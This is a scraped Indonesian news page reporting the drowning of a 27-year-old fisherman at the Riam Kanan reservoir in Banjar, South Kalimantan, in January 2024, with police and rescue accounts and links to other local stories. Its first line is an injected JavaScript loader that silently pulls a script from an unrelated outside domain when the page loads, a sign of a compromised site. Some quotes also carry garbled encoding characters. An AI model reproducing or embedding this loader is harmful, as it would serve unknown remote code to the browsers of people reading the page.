(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Seorang pemancing ikan tenggelam di waduk Riam Kanan Desa Tiwingan Lama Kecamatan Aranio Kabupaten Banjar, Minggu (7/1/2024) dini hari.
Dari informasi yang didapatkan, korban tenggelam tersebut bernama Ahmad Rizaldi Nur Ihsan, warga Desa Mandiangin Timur Kecamatan Karang Intan, Kabupaten Banjar.
Pemancing yang tenggelam di waduk Riam Kanan ditemukan sudah dalam kondisi meninggal dunia, sekitar pukul 00.03 Wita.
Lelaki berumur 27 tahun itu menghilang di tempat lokasi memancing di Pulau Pinus 1 Waduk Riam Kanan.
Baca juga:Â Ombudsman RI Perwakilan Kalsel: Validasi Kerugian Publik 2023 Mencapai Rp14 Miliar
“Korban ditemukan warga setempat yang melakukan pencarian,” ujar Gusti Yudhi, Kasi Pemadaman Penyelamatan dan Evakuasi DPKP Banjar.
Jasadnya langsung dievakuasi tim relawan gabungan bersama kepolisian. Atas permintaan pihak keluarga diantar langsung ke rumah mertuanya di Desa Mandiangin Timur.
Kasi Humas Polres Banjar, AKP H Suwarji menjelaskan bahwa informasi dari ipar korban menyatakan bahwa Rizaldi pergi memancing ikan ke waduk Riam Kanan pada Sabtu (6/1/2024) pagi, dan pada saat it kondisinya masih sehat tanpa riwayat sakit.
“Pada hari Sabtu sekitar pukul 08.00 Wita, korban berangkat memancing menggunakan perahu ces yang dikemudikan oleh Rohib menuju lokasi pemancingan di Pinus 1 Desa Tiwingan Lama,†ujar Kasi Humas Polres Banjar, AKP H Suwarji, Minggu (7/1/2024) pagi.
Sekitar pukul 17.30 Wita, tambah Suwarji, pemilik perahu ces berangkat untuk menjemput Rizaldi. Namun, Rizaldi tidak ditemukan di lokasi. Hanya tas dan alat pancing miliknya yang ditemukan di dekat tebing lokasi pemancingan.
Baca juga:Â Langka Tapi Masih Dicari, Tukang Jahit Sepatu Bertahan Demi Keluarga
Saat mendapatkan informasi tersebut, Polsek Aranio bersama masyarakat melakukan pencarian. Sehingga hasilnya pada pukul 23.45 Wita, korban ditemukan tidak jauh dari lokasi pemancingan dalam kondisi meninggal dunia.
“Tim Inavis Polres Banjar melakukan pemeriksaan dan selanjutnya korban dibawa ke rumah duka. Keluarga korban tidak memberikan izin untuk dilakukan otopsi. Peristiwa ini menjadi duka mendalam bagi keluarga dan masyarakat setempat,†bebernya. (Kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.